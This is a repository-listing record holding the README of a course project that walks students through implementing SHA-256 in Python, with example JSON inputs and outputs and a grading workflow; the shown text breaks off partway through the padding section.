{"data": [{"name": "oconnor663/sha256_project", "link": "https://github.com/oconnor663/sha256_project", "tags": [], "stars": 516, "description": "developed for NYU Tandon's Applied Cryptography course", "lang": "Python", "repo_lang": "", "readme": "# The SHA-256 Project\n\n> This project was originally assigned in NYU Tandon's CS-GY 6903 Applied\nCryptography course, Fall 2021. Here's the [original course\nrepo](https://github.com/oconnor663/applied_crypto_2021_fall) with all the\nother problem sets.\n\nIn this project we're going to implement SHA-256 ourselves, and then we'll use\nour implementation to demonstrate a \"length extension attack\". To get a sense\nof scale, take a look at the [SHA-256 pseudocode on\nWikipedia](https://en.wikipedia.org/wiki/SHA-2#Pseudocode). That pseudocode\nwill be one of our references, and there will be several direct quotes from it\nbelow. The [animations in this video](https://youtu.be/f9EbD6iY9zI) might also\nhelp you get a big-picture sense of what the algorithm is doing.\n\nImplementing that pseudocode takes less than a hundred lines of Python, which\nmight not seem like a lot. But there are lots of little details in those lines,\nand the nature of the \"avalanche effect\" is such that a tiny mistake will\ntotally mess up your output, usually without giving you any useful feedback\nabout what you did wrong. So we'll move slowly, piece by piece, making sure to\ntest each piece before we move on to the next. Read and reread each problem\ncarefully, *two or three times through,* and then follow the instructions\n*exactly* as you write your code. If the instructions are unclear, ask for help\nand avoid the temptation to guess. Mistakes will be difficult to debug, which\nmakes this project challenging.\n\nSo...what's the point of such a challenging project? If we almost never\nimplement hash functions ourselves in the real world, why are we going to spend\nour precious time on it now? Two reasons:\n\nConcretely, as long as SHA-2 remains widely used, length extension attacks will\nremain a common pitfall. You need to know about them to use SHA-2 safely, and\nto help others use it safely. As with most attacks, the best way to understand\nthe length extension attack is to do it yourself, which means we need to get\nour hands on the inner workings of SHA-2.\n\nMore broadly, there are just so many black boxes in cryptography that we almost\nnever look inside, especially our block ciphers, stream ciphers, and hash\nfunctions. No one has enough time to learn the details of all of them, not even\nprofessional cryptographers. But these algorithms are not magic, and this class\nwould be doing you a disservice if we never opened up any black boxes. Our goal\nisn't to memorize all the details, but to build up the sort of practical\nintuition that can only come from having seen the details before. And I want\nyou to come away from this class with the confidence that you can handle this\nlevel of detail for any algorithm, if and when you need to.\n\nSo this is it. This is where we're going to open one of the black boxes and get\nall the way to the bottom of it. This is SHA-256.\n\n## Contents\n\n* [Workflow](#workflow)\n* [Example input](#example-input)\n* [Example output](#example-output)\n* [Building blocks](#building-blocks)\n   * [Problem 1: addition modulo 2<sup>32</sup>](#problem-1-addition-modulo-232)\n   * [Problem 2: bitwise right rotation](#problem-2-bitwise-right-rotation)\n* [The Message Schedule](#the-message-schedule)\n   * [Problem 3: `little_sigma0()`](#problem-3-little_sigma0)\n   * [Problem 4: `little_sigma1()`](#problem-4-little_sigma1)\n   * [Problem 5: the message schedule](#problem-5-the-message-schedule)\n* [The Round Function](#the-round-function)\n   * [Problem 6: `big_sigma0()`](#problem-6-big_sigma0)\n   * [Problem 7: `big_sigma1()`](#problem-7-big_sigma1)\n   * [Problem 8: `choice()`](#problem-8-choice)\n   * [Problem 9: `majority()`](#problem-9-majority)\n   * [Problem 10: the round function](#problem-10-the-round-function)\n* [The Compression Function](#the-compression-function)\n   * [Problem 11: the compression function](#problem-11-the-compression-function)\n* [Padding](#padding)\n   * [Problem 12: padding](#problem-12-padding)\n* [The Hash Function](#the-hash-function)\n   * [Problem 13: the hash function](#problem-13-the-hash-function)\n* [The Length Extension Attack](#the-length-extension-attack)\n   * [Problem 14: modeling the extended input](#problem-14-modeling-the-extended-input)\n   * [Problem 15: recovering the state](#problem-15-recovering-the-state)\n   * [Problem 16: the length extension attack](#problem-16-the-length-extension-attack)\n* [Conclusion](#conclusion)\n\n## Workflow\n\nThis project was originally assigned in NYU Tandon's CS-GY 6903 Applied\nCryptography course. It's intended to be JSON-in-JSON-out and autograded. A\nsimplified [`grade.py`](grade.py) script is provided in this repo, but if you\nprefer you can also just visually compare the output of your solution to the\nexample output provided. The original class was taught in Python, and some of\nthe problems below include example Python code, but feel free to code in\nwhatever language you like. Example solutions are provided in both\n[Python](solution_py) and [Rust](solution_rs).\n\nHere's a bare minimum example of parsing JSON input and producing JSON output\nusing Python:\n\n```python\nimport json\nimport sys\n\ninputs = json.load(sys.stdin)\noutputs = {}\n\noutputs[\"problem1\"] = [\"your\", \"answer\", \"here\"]\n\njson.dump(outputs, sys.stdout)\n```\n\nTo run that directly with [`example_input.json`](example_input.json), you'd\nsave it to a file like `my_solution.py` and then run this in the terminal:\n\n```\n$ python3 my_solution.py < example_input.json\n{\"problem1\": [\"your\", \"answer\", \"here\"]}\n```\n\nTo grade it, you'd run this in the terminal:\n\n```\n$ ./grade.py python3 my_solution.py\nproblem1 incorrect\nrandomized input:\n    [[1, 2], [4294967295, 1], [3148047433, 2995627551]]\nexpected output:\n    [3, 0, 1848707688]\nyour output:\n    ['your', 'answer', 'here']\nproblem2 missing\nproblem3 missing\nproblem4 missing\nproblem5 missing\nproblem6 missing\nproblem7 missing\nproblem8 missing\nproblem9 missing\nproblem10 missing\nproblem11 missing\nproblem12 missing\nproblem13 missing\nproblem14 missing\nproblem15 missing\nproblem16 missing\n```\n\nAs you can see there, the grading script generates random inputs every time you\nrun it. So a complete solution should read input values from the JSON input\nevery time, rather than just hardcoding the example inputs.\n\nHere's a common pitfall for folks who haven't worked with JSON and stdin/stdout\nbefore: If you print anything extra to stdout (like with the regular Python\n`print()` function) that will mess up your JSON output, and the grading script\nwill give you an error message like \"Your solution isn't valid JSON.\" If you\nsee that error, make sure to comment out your print statements.\n\n## Example input\n\n```json\n{\n  \"problem1\": [\n    [1, 2],\n    [4294967295, 1],\n    [3050487260, 3710144918]\n  ],\n  \"problem2\": [\n    [2, 1],\n    [1, 1],\n    [2919882184, 31]\n  ],\n  \"problem3\": 1114723206,\n  \"problem4\": 1232674167,\n  \"problem5\": \"iguana wombat dog kangaroo llama turkey yak unicorn sheep xenoce\",\n  \"problem6\": 3536071395,\n  \"problem7\": 651015076,\n  \"problem8\": [2749825547, 776049372, 1213590135],\n  \"problem9\": [3758166654, 2821345890, 1850678816],\n  \"problem10\": {\n    \"state\": [\n        2739944672, 3126690193, 4191866847, 1163785745,\n        3714074692, 1172792371, 283469062,   826169706\n    ],\n    \"round_constant\": 961987163,\n    \"schedule_word\": 3221900128\n  },\n  \"problem11\": {\n    \"state\": [\n      2918946378, 1679978889, 1678006433,  650957219,\n       379281712, 2112907926, 1775216060, 2152648190\n    ],\n    \"block\": \"manatee fox unicorn octopus dog fox fox llama vulture jaguar xen\"\n  },\n  \"problem12\": [0, 1, 55, 56, 64, 492022654431536432],\n  \"problem13\": [\n    \"\",\n    \"hello world\",\n    \"aardvark zebra yak pig jaguar aardvark rhinoceros butte\",\n    \"narwhal dog llama llama giraffe narwhal octopus dog xeno\",\n    \"John Jacob Jingleheimer Schmidt! His name is my name too. Whenever we go out the people always shout there goes John Jacob Jingleheimer Schmidt! Nanananananana...\"\n  ],\n  \"problem14\": {\n    \"original_input\": \"fox elephant dog\",\n    \"chosen_suffix\": \"pig jaguar iguana\"\n  },\n  \"problem15\": \"bacb15aef84802baa0f530845013a98ee1eede664b914f8ebc2a520e69049a09\",\n  \"problem16\": {\n    \"original_hash\": \"27b82abe296f3ecd5174b6e6168ea683cd8ef94306d9abd9f81807f2fa587d2a\",\n    \"original_len\": 41,\n    \"chosen_suffix\": \"manatee jaguar zebra zebra dog\"\n  }\n}\n```\n\n## Example output\n\n```json\n{\n  \"problem1\": [3, 0, 2465664882],\n  \"problem2\": [1, 2147483648, 1544797073],\n  \"problem3\": 1345017931,\n  \"problem4\": 2902922196,\n  \"problem5\": [\n    1768387937, 1851859063, 1869439585, 1948279919, 1730177889, 1852268914, 1869553772, 1818324321,\n     544503154, 1801812256, 2036427552, 1970170211, 1869770272, 1936221541, 1881176165, 1852793701,\n    3002878561, 3711121932, 1520676164, 3002441970, 2935068969, 1610329529, 1904580351, 3219988740,\n    2337695268,  263015313, 2120931855,  131203777, 3818546915,   19163115, 3479924161, 2154860703,\n    1790169326,  516580487, 2414737634,  909025701, 2241053595, 1237268359, 3797503938, 1773623028,\n    2840671725, 2299292186, 1933596460, 2279513616,  514132674, 3245155609, 1753922983, 2241450350,\n    2449659630,  262239956,  773552098, 3253131632, 3863807927,  879696536, 3143654396, 3973063648,\n     509015903,  270850193, 1893431553,  719566283, 2310657204,  365781698, 3761063438, 1007484868\n  ],\n  \"problem6\": 3003388882,\n  \"problem7\": 2194029931,\n  \"problem8\": 1783753340,\n  \"problem9\": 3893039714,\n  \"problem10\": [\n    1724514418, 2739944672, 3126690193, 4191866847,\n    1638715774, 3714074692, 1172792371, 283469062\n  ],\n  \"problem11\": [\n    1251501988, 1663226031, 2877128394, 4050467288,\n    2375501075, 1434687977, 2625842981, 650253644\n  ],\n  \"problem12\": [\n    \"80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\n    \"800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008\",\n    \"8000000000000001b8\",\n    \"8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0\",\n    \"80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200\",\n    \"800000000000000036a01ffa96b12980\"\n  ],\n  \"problem13\": [\n    \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\n    \"b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9\",\n    \"4b45e1bec21185865d1628a8a502eed789193a3c253a529983e4bc17fa65f32b\",\n    \"99069f1eba4c874aba649c17136a253e1dd504cda936ab77cf189c2cf9eb88ff\",\n    \"68b74d91364475247c10bfee2621eaa13bcabb033ed1dee58b74c05e7944489a\"\n  ],\n  \"problem14\": \"666f7820656c657068616e7420646f67800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080706967206a616775617220696775616e61\",\n  \"problem15\": [\n    3133871534, 4165468858, 2700423300, 1343465870,\n    3790528102, 1267814286, 3156890126, 1761909257\n  ],\n  \"problem16\": \"50417b93404facb1b481990a7bf6ac963b1e1ee0ccced8b2a5938caa28b52b41\"\n}\n```\n\n## Building blocks\n\nWe'll start with the smallest details at the very bottom of the box. As a first\nstep, we need to build a couple of math operations that Python doesn't give us\ndirectly: modular addition and bitwise right-rotation.\n\n### Problem 1: addition modulo 2<sup>32</sup>\n\nIf you've learned a language like C or Java before, you might know that modular\naddition is what many languages do with integers by default. In these\nlanguages, integers have some fixed size, like 32 bits, and any math operation\nthat would normally give a result \u22652<sup>32</sup> instead \"overflows\" and\nstarts counting up from 0 again. These fixed-size integer operations are very\nefficient in hardware, so they're common in CPU instruction sets and in\nalgorithms like SHA-256. However, integers in Python have no fixed size, and\nmath operations in Python never overflow. If you want to see this in action,\nask Python for the value of 2<sup>1,000,000</sup>. This property is lovely for\nour intuition as programmers, because it means Python integers work like the\nregular math we're used to. But alas, it's not how addition is done in SHA-256,\nso we'll need to give ourselves a helper function for this.\n\nDefine a function like `add32(x, y)`. (I'll suggest names for your functions\nthroughout this project, but you can name them whatever you like.) It should\nadd its two arguments and then take the result modulo 2<sup>32</sup>, i.e. the\nremainder when the result is divided by 2<sup>32</sup>. Remember that `%` is\nthe \"modulo\" or \"remainder\" operator in Python, and `**` is the exponentiation\noperator.\n\n**Input:** a list of `(x, y)` pairs\n\n**Output:** a list of results from calling `add32` on each pair\n\n### Problem 2: bitwise right rotation\n\nThe other building block we need is bitwise rotation. Most programming\nlanguages including Python provide a very similar operation called bit\n_shifting_, usually written `<<` (left shift) or `>>` (right shift). A bit\nrotation is like bit shift, but instead of \"falling off the end\" of the number,\nthe bits rotate around to the other end. This is nice for cryptographic\nfunctions that need to do a lot of mixing, because it moves bits around without\nlosing any information. For example, consider this 32-bit number:\n\n```\n00000000000000000000000000001111\n```\n\nIf we right-*shift* that number by two places, we get:\n\n```\n00000000000000000000000000000011\n```\n\nBut if we right-*rotate* that number by two places, we get:\n\n```\n11000000000000000000000000000011\n```\n\nPython doesn't have a built-in bit rotation operator, but we can accomplish the\nsame thing by combining the results of two shifts. If you enjoy bit twiddling\npuzzles, figure out how to do this before reading further. If not, it's ok to\njust copy the following function, but make sure you take a few moments to walk\nthrough the example above and see how it does the right thing.\n\n```python\ndef rightrotate32(x, n):\n    assert x < 2 ** 32, \"x is too large. Did you use + instead of add32 somewhere?\"\n    right_part = x >> n\n    left_part = x << (32 - n)\n    return add32(left_part, right_part)\n```\n\n**Input:** a list of `(x, n)` pairs\n\n**Output:** a list of results from calling `rightrotate32` on each pair\n\nUsing these helper functions and Python's other built-in operations, we're\ngoing to do a lot of math using 32-bit integers. As a shorthand, we'll refer to\nthese integers as \"words\". A \"word\" is just another way of saying \"an integer\nof the size that we prefer to / are able to work with\". The size of a word\ndepends on context, but **in the context of SHA-256, a \"word\" means a 32-bit\nunsigned integer.**\n\n## The Message Schedule\n\nWith those two building blocks in place, we're ready to implement the first\nmajor moving part of our hash function, the \"message schedule\". Here the\n\"message\" means the hash function's input. In each round of its compression\nfunction, SHA-256 mixes in one word from the message. (Make sure you read the\ndefinition of a \"word\" above.) The \"message schedule\" defines exactly what\nthose words are and the order in which they're used.\n\nA SHA-256 message block is 64 bytes long, and a word is 4 bytes long, so one\nblock contains exactly 16 words. SHA-256 has 64 rounds, and the first 16 of\nthose rounds use those 16 message words directly. The subsequent 48 rounds mix\ndifferent message words together using a formula. We're about to implement that\nformula. First we need a couple more small helpers, which we'll call\n`little_sigma0` and `little_sigma1`.\n\n### Problem 3: `little_sigma0()`\n\nGiven a word `x`, we define `little_sigma0(x)` to be the value:\n\n```python\nrightrotate32(x, 7) ^ rightrotate32(x, 18) ^ (x >> 3)\n```\n\nImplement this function in Python. You can copy the line above if you like.\n\n**Inputs:** an integer `x`\n\n**Outputs:** the value `little_sigma0(x)`\n\nBased on [this paper](https://arxiv.org/pdf/1402.1314.pdf), I'm pretty sure the\nname \"sigma\" (Greek lowercase \u03c3 and uppercase \u03a3) refers to the \"S-boxes\" or\n\"substitution boxes\" that we're familiar with from block ciphers. See p. 57 of\n*Serious Cryptography*.\n\n### Problem 4: `little_sigma1()`\n\nSimilarly, given a word `x`, we define `little_sigma1(x)` to be the value:\n\n```python\nrightrotate32(x, 17) ^ rightrotate32(x, 19) ^ (x >> 10)\n```\n\nImplement this function in Python too. Again, you can copy the line above if\nyou like.\n\n**Inputs:** an integer `x`\n\n**Outputs:** the value `little_sigma1(x)`\n\n### Problem 5: the message schedule\n\nNow we're ready to compute the full 64-**word** message schedule array, which\nis usually called `W` (for \"words\"). As we said above, the block size of\nSHA-256 is 64 **bytes**, so for this process you start off with a 64-byte block\nof input. Convert these 64 bytes into 16 words, by converting each 4-byte group\ninto an integer using a **big-endian** conversion like\n[`int.from_bytes(..., \"big\")`](https://docs.python.org/3/library/stdtypes.html#int.from_bytes).\n(Using the wrong endianness here will be a *common mistake*.) This gives you\nthe first 16 elements of `W`. For each of the remaining 48 elements \u2014 that is,\nfor each index from 16 to 63 \u2014 use the following formula:\n\n```\nW[i] := W[i-16] + little_sigma0(W[i-15]) + W[i-7] + little_sigma1(W[i-2])\n```\n\nNote that in this case the formula is pseudocode, not Python. The `:=` symbol\nmeans \"is defined to be\", similar to `=` in Python. Importantly, the `+` symbol\nin SHA-256 pseudocode does *not* mean Python's `+`, but rather the `add32()`\nfunction that we defined back in Problem&nbsp;1. (Implementing pseudocode using\nregular Python addition rather than `add32` will be a *common mistake*\nthroughout this project.) Depending on how you structure your Python code, you\nmight also want to use the\n[`.append()`](https://docs.python.org/3/tutorial/datastructures.html) method on\nlists.\n\nDefine a function like `message_schedule(block)` which takes a 64-byte block\nand returns a 64-word list, according to the formula described above. Your\ninput for this problem is an ASCII string of length 64. Convert it to bytes,\nand use your `message_schedule()` function to construct message schedule for\nthat block. Your output should be the resulting list.\n\n**Input:** an ASCII string of length 64, which represents a block of input for the compression function\n\n**Output:** the resulting message schedule, a list of 64 words (integers)\n\nAs you work on this part of the algorithm, it might be helpful or interesting\nto compare notes with how different sources describe it. Here's how *Serious\nCryptography* describes it, on p. 119:\n\n<kbd><img alt=\"message schedule code from the book\" src=\"images/book_message_schedule.png\" width=\"700px\"></kbd>\n\nAnd here's how [the pseudocode on\nWikipedia](https://en.wikipedia.org/wiki/SHA-2#Pseudocode) describes it:\n\n```\ncreate a 64-entry message schedule array w[0..63] of 32-bit words\n(The initial values in w[0..63] don't matter, so many implementations zero them here)\ncopy chunk into first 16 words w[0..15] of the message schedule array\n\nExtend the first 16 words into the remaining 48 words w[16..63] of the message schedule array:\nfor i from 16 to 63\n    s0 := (w[i-15] rightrotate  7) xor (w[i-15] rightrotate 18) xor (w[i-15] rightshift  3)\n    s1 := (w[i- 2] rightrotate 17) xor (w[i- 2] rightrotate 19) xor (w[i- 2] rightshift 10)\n    w[i] := w[i-16] + s0 + w[i-7] + s1\n```\n\nAnd finally, here's how it's described in the official standard that defines\nSHA-256, p. 22 of [FIPS\n180-4](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf):\n\n<kbd><img alt=\"message schedule formula from the standard\" src=\"images/standard_message_schedule.png\" width=\"640px\"></kbd>\n\nThese are all different ways of describing the same message schedule.\n\nOnce you've got the message schedule implemented correctly, you've reached the\nfirst major milestone of the project. Well done! We'll need to set it aside for\na moment to focus on another big moving part, but don't worry: we'll come back\nand make use of it before long.\n\n## The Round Function\n\nAs we said above, the SHA-256 compression function does 64 rounds of mixing.\nWe're about to implement the operation that's done for each round. To get\nstarted, we're going to need four more small helper functions:\n\n### Problem 6: `big_sigma0()`\n\nGiven a word `x`, we define `big_sigma0(x)` to be the value:\n\n```python\nrightrotate32(x, 2) ^ rightrotate32(x, 13) ^ rightrotate32(x, 22)\n```\n\nImplement this function in Python. You can copy the line above if you like.\n\n**Inputs:** an integer `x`\n\n**Outputs:** the value `big_sigma0(x)`\n\n### Problem 7: `big_sigma1()`\n\nGiven a word `x`, we define `big_sigma1(x)` to be the value:\n\n```python\nrightrotate32(x, 6) ^ rightrotate32(x, 11) ^ rightrotate32(x, 25)\n```\n\nImplement this function in Python too. Again, you can copy the line above if\nyou like.\n\n**Inputs:** an integer `x`\n\n**Outputs:** the value `big_sigma1(x)`\n\n### Problem 8: `choice()`\n\nGiven three words, `x`, `y`, and `z`, we define `choice(x, y, z)` to be the value:\n\n```python\n(x & y) ^ (~x & z)\n```\n\nImplement this function in Python too. Again, you can copy the line above if\nyou like.\n\nNote that the `~` symbol in Python means \"bitwise-not\", i.e. turn all the\n0-bits into 1's and all the 1-bits into 0's. This isn't an operation we need\nvery often, but it's nice that it's built-in. The fact that Python integers are\nboth signed and also variably-sized means that the behavior of `~` is subtler\nthan it might seem at first glance. Because of the rules of [\"two's complement\"\nsigned arithmetic](https://en.wikipedia.org/wiki/Two%27s_complement), it tends\nto give us negative numbers. Luckily, all the little details work out in the\nend, and we can use `~` here without worrying about it. You can just trust me\non that and copy the line of code above, or you can explore how `~` works\nin Python as an exercise.\n\n**Inputs:** a list of three integers, `[x, y, z]`\n\n**Outputs:** the value `choice(x, y, z)`\n\nBefore you move on from this function, take a moment to stare at it. Can you\ntell why it's called \"choice\"?\n\n### Problem 9: `majority()`\n\nThe last helper for the round function. Given three words, `x`, `y`, and `z`,\nwe define `majority(x, y, z)` to be the value:\n\n```python\n(x & y) ^ (x & z) ^ (y & z)\n```\n\nImplement this function in Python too. Again, you can copy the line above if\nyou like.\n\n**Inputs:** a list of three integers, `[x, y, z]`\n\n**Outputs:** the value `majority(x, y, z)`\n\nSame follow-up question as above: Can you tell why this function is called\n\"majority\"? This one's a little trickier. Three bits put together have\n2<sup>3</sup> = 8 possible values, and the easiest way to see this one is to\njust make a table and calculate what happens in each case.\n\n### Problem 10: the round function\n\nAlright, we're ready to implement the next big moving part of SHA-256, the\nround function. The round function takes three arguments. The most important of\nthese is the **state**, a list of 8 words. Recall the diagram of the\nMerkle\u2013Damg\u00e5rd construction from p. 112 of *Serious Cryptography*:\n\n<kbd><img alt=\"Merkle\u2013Damg\u00e5rd diagram\" src=\"images/merkle-damgard.png\"></kbd>\n\nThe values H<sub>0</sub>, H<sub>1</sub>, and H<sub>2</sub> represent this\n8-word state as it's transformed by each call to the compression function. At\nthis point we're working on the round function, which is _inside_ the\ncompression function (i.e. inside the trapezoids in that diagram), but it's the\nsame state that we're talking about.\n\nThe other two inputs to the round function are the **round constant** and the\n**schedule word**, each of which is one word (an integer). As you might guess,\nthe schedule word is ultimately going to come from the message schedule, which\nwe implemented in Problem&nbsp;5, but for now we'll just take it as an\nargument.\n\nDefine a function like `round(state, round_constant, schedule_word)`. This\nfunction starts by computing several values, using the helper functions defined\nabove:\n\n```\nch    := choice(state[4], state[5], state[6])\ntemp1 := state[7] + big_sigma1(state[4]) + ch + round_constant + schedule_word\nmaj   := majority(state[0], state[1], state[2])\ntemp2 := big_sigma0(state[0]) + maj\n```\n\nAs in Problem&nbsp;5, these formulas are pseudocode, and the `+` symbol means\n`add32()`. Finally, the round function assembles a new state:\n\n```\nnew_state := [\n    temp1 + temp2,\n    state[0],\n    state[1],\n    state[2],\n    state[3] + temp1,\n    state[4],\n    state[5],\n    state[6],\n]\n```\n\nThis `new_state` is the return value of `round()`.\n\nYour input for this problem is an object with three fields, `\"state\"`\ncontaining a list of 8 integers, `\"round_constant\"` containing one integer, and\n`\"schedule_word\"` containing one integer. Call your `round()` function with\nthese three arguments. Your output should be the resulting new state.\n\n**Input:** an object with three fields, `\"state\"`, `\"round_constant\"`, and `\"schedule_word\"`\n\n**Output:** a list of 8 words (integers), the new state returned by `round()`\n\nAs we did in Problem&nbsp;5, we can compare how different sources describe the\nsame part of the algorithm. *Serious Cryptography* doesn't include the SHA-256\nround function in detail, describing it only as \"more complex than that of\nSHA-1\" on p. 119.\n\n[The pseudocode on Wikipedia](https://en.wikipedia.org/wiki/SHA-2#Pseudocode)\nuses the variables `a`, `b`, `c`, `d`, `e`, `f`, `g`, and `h` to refer to the 8\nelements of the state array. Here's how it describes the round function:\n\n```\nS1 := (e rightrotate 6) xor (e rightrotate 11) xor (e rightrotate 25)\nch := (e and f) xor ((not e) and g)\ntemp1 := h + S1 + ch + k[i] + w[i]\nS0 := (a rightrotate 2) xor (a rightrotate 13) xor (a rightrotate 22)\nmaj := (a and b) xor (a and c) xor (b and c)\ntemp2 := S0 + maj\n\nh := g\ng := f\nf := e\ne := d + temp1\nd := c\nc := b\nb := a\na := temp1 + temp2\n```\n\nP. 23 of the [FIPS\n180-4](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf) standard\ndescribes the round function using uses the same 8 variables:\n\n<kbd><img alt=\"the round function formulas from the standard\" src=\"images/standard_round_function.png\" width=\"480\"></kbd>\n\nOnce you've got the round function working, you've reached the second major\nmilestone of the project. Very well done! Most of the little details are behind\nus now, and the pieces we've built are about to start fitting together.\n\n## The Compression Function\n\n### Problem 11: the compression function\n\nFinally, we've arrived at a piece big enough that we've actually heard of it\nbefore. The compression function is the trapezoid from the Merkle\u2013Damg\u00e5rd\ndiagram above. This is where we're going to write the \"round loop\" that\nexecutes the round function 64 times, once for each of the 64 rounds of\nSHA-256.\n\nWe saw the `round_constant` argument above. We need to start by copying the\narray of values that we'll use for this argument. Paste the following into your\nPython code as a global variable:\n\n```python\nROUND_CONSTANTS = [\n    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n    0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n    0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n    0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n    0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n    0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n    0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n    0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2,\n]\n```\n\nYou'll see the same array near the top of the [Wikipedia\npseudocode](https://en.wikipedia.org/wiki/SHA-2#Pseudocode). In effect, these\nare just some hardcoded, random-looking numbers that we add to the mix. In\nfact, they do actually come from a formula, something to do with the cube roots\nof the first 64 prime numbers. But the details of the formula don't matter to\nus. These are just [\"nothing-up-my-sleeve\nnumbers\"](https://en.wikipedia.org/wiki/Nothing-up-my-sleeve_number).\n\nNow, define a function like `compress(input_state, block)`, where `input_state`\nis an 8-word list, and `block` is a 64-byte block of the hash function's input.\nThis function combines the message schedule from Problem&nbsp;5 with the round\nfunction from Problem&nbsp;10, like this:\n\n```\nW := message_schedule(block)\n\nstate := input_state\nfor i in 0, 1, ..., 63\n    state = round(state, ROUND_CONSTANTS[i], W[i])\n\nstate = [\n    input_state[0] + state[0],\n    input_state[1] + state[1],\n    input_state[2] + state[2],\n    input_state[3] + state[3],\n    input_state[4] + state[4],\n    input_state[5] + state[5],\n    input_state[6] + state[6],\n    input_state[7] + state[7],\n]\n```\n\nAs in Problem&nbsp;5, these formulas are pseudocode, and the `+` symbol means\n`add32()`. The final value of `state` is the return value of `compress()`. Note\nthat the value of `input_state` gets used again at the end, so `input_state`\nand `state` do need to be two different variables.\n\nYour input for this problem is an object with two fields, `\"state\"` containing\na list of 8 integers and `\"block\"` containing an ASCII string of length 64.\nConvert the block to bytes and then call your `compress()` function with those\narguments. Your output should be the resulting new state.\n\n**Input:** an object with two fields, `\"state\"` and `\"block\"`\n\n**Output:** a list of 8 words (integers), the new state returned by `compress()`\n\nBefore you move on, think about the loop you just wrote. It's probably just two\nor three lines of code. But 64 rounds is actually quite a lot of work for the\ncomputer. This little loop, plus all the code inside of `round()`, is where the\nmagic happens. This is the mixing loop. When cryptographers study SHA-256 and\ntry to develop attacks, this little loop is what they're attacking. That makes\nthe number 64 a very careful tradeoff between speed and security. Is 64 rounds\nenough mixing to guarantee collision resistance and all the other security\nproperties? It seems to be enough today, but what about ten or twenty years\nfrom now? Will SHA-256 be able to withstand another generation of clever\nattacks and faster computers? Maybe some of you will have a hand in that\nresearch...\n\nIn any case, for now we have our secure compression function. With this\nworking, we've turned onto the home stretch. The full hash function is in\nsight.\n\n## Padding\n\n### Problem 12: padding\n\nSHA-256 takes a \"message\" of any length as input, but the compression function\nworks with 64-byte blocks at a time, so we need to pad the message to be an\nexact multiple of the block size. This is very similar to what we did with\nblock ciphers in Chapter&nbsp;4 and Problem&nbsp;Set&nbsp;3. As with block\nciphers, a naive padding scheme like \"just fill the remainder of the last block\nwith zeros\" isn't going to work. This time it's because of collision\nresistance: If two different messages looked the same after padding, then their\nhashes would be the same too, which is never supposed to happen. That means we\nneed a proper, unambiguous padding scheme.\n\nIt would be nice if we could reuse our PCKS#7 code from Problem Set 3, but alas\nSHA-256 does something different. On the bright side, because this is hashing\nand not encryption, at least we don't need to write any code for unpadding.\n\nThe SHA-256 padding scheme is originally defined in terms of bits, not bytes. I\nthink it's a little clearer in those terms, so let's start there. Remember that\nthere are 8 bits in a byte, so a block size of 64 bytes is the same as 512\nbits. Here's the padding scheme as it's originally defined:\n\n1. Start the padding bitstring with a single 1-bit.\n2. Then append some 0-bits after that. We'll define how many in step 4 below.\n3. Finally, append the bit-length of the message, encoded as a 64-bit unsigned\n   big-endian number with\n   [`.to_bytes(8, \"big\")`](https://docs.python.org/3/library/stdtypes.html#int.to_bytes).\n4. Choose the number of 0-bits for step 2 to be the smallest number such that\n   the total bit-length of the message plus the padding is an exact multiple of\n   512.\n\nA side note: You might notice that step 3 there isn't actually necessary for\nmaking the padding unambiguous. Steps 1 and 2 are sufficient for that. The goal\nof step 3 is to make it harder to find collisions, by including the message\nlength in the mix.\n\nDefining the padding scheme in terms of bits like this is pretty\nstraightforward, but in practice our programming languages and our computer\nhardware don't usually talk about individual bits directly. We need to\ntranslate that definition into bytes. So here's the exact same padding scheme,\nredescribed in terms of bytes, the way we'll actually implement it:\n\n1. Start the padding bytestring with a single 0x80 byte (decimal 128, binary\n   0b10000000). As you can see in the binary representation, this is a single\n   1-bit followed by seven 0-bits.\n2. Then append some 0x00 bytes after that. We'll define how many in step 4\n   below.\n3. Finally, append **8 times** the byte-length of the message, encoded as an\n   8-byte unsigned big-endian number with\n   [`.to_bytes(8, \"big\")`](https://docs.python.org/3/library/stdtypes.html#int.to_bytes).\n   (Forgetting to multiply the `len()` by 8 here is a *common mistake*.)\n4. Choose the number of 0x00 bytes for step 2 to be the smallest number such\n   that the total byte-length of the message plus the padding is an exact\n   multiple of 64.\n\nThat translation made things a little less elegant. The first byte is less\nobvious, and the multiply-by-8 step is easy to forget. But we'll manage.\n\nHow do we determine the number of 0x00 bytes in step 4? If you like little\narithmetic puzzles, this is another good one to think about on your own before\nreading further. Otherwise, feel free to copy the following three lines of\nPython:\n\n```python\nremainder_bytes = (message_length + 8) % 64  # number of bytes in the final block, including the appended length\nfiller_bytes = 64 - remainder_bytes          # number of bytes we need to add, including the initial 0x80 byte\nzero_bytes = filler_bytes - 1                # number of 0x00 bytes we need to add\n```\n\nTake a minute or two to review that logic and convince yourself it's correct.\nThen write a 